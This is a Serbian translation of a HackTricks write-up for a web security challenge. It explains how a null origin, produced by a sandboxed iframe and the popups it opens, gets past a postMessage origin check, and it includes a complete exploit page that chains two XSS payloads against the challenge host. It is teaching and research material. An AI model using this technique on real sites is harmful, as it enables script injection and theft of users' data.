hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
2024-02-10 13:11:20 +00:00

5.8 KiB

Bypassovanje SOP-a pomoću Iframeova - 1

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Iframeovi u SOP-1

U ovom izazovu kreiranom od strane NDevTK i Terjanq trebate iskoristiti XSS u kodiranom

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Glavni problem je što glavna stranica koristi DomPurify za slanje data.body, pa da biste poslali svoje HTML podatke tom kodu, morate zaobići e.origin !== window.origin.

Pogledajmo rešenje koje predlažu.

Zaobilaženje SOP-a 1 (e.origin === null)

Kada je //example.org ugrađen u sandbox iframe, tada će poreklo stranice biti null, tj. window.origin === null. Dakle, samo ugrađivanjem iframe-a putem <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> možemo nametnuti null poreklo.

Ako je stranica ugrađiva, mogli biste zaobići tu zaštitu na taj način (kolačići takođe mogu zahtevati postavljanje na SameSite=None).

Zaobilaženje SOP-a 2 (window.origin === null)

Manje poznata činjenica je da kada je postavljena vrednost sandbox atributa allow-popups, tada će otvoreni popup naslediti sve sandbox atribute osim ako nije postavljeno allow-popups-to-escape-sandbox.
Dakle, otvaranje popupa iz nultog porekla će učiniti da je window.origin unutar popupa takođe null.

Rešenje izazova

Stoga, za ovaj izazov, mogli biste kreirati iframe, otvoriti popup na stranici sa ranjivim XSS kodom (/iframe.php), jer je window.origin === e.origin jer su oba null, moguće je poslati payload koji će iskoristiti XSS.

Taj payload će dobiti identifikator i poslati XSS natrag na vrh stranice (stranica koja otvara popup), koja će promeniti lokaciju na ranjivu /iframe.php. Zato što je identifikator poznat, nije važno da uslov window.origin === e.origin nije ispunjen (zapamtite, poreklo je popup iz iframe-a koji ima poreklo null) jer je data.identifier === identifier. Zatim će se XSS ponovo pokrenuti, ovaj put na pravom poreklu.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!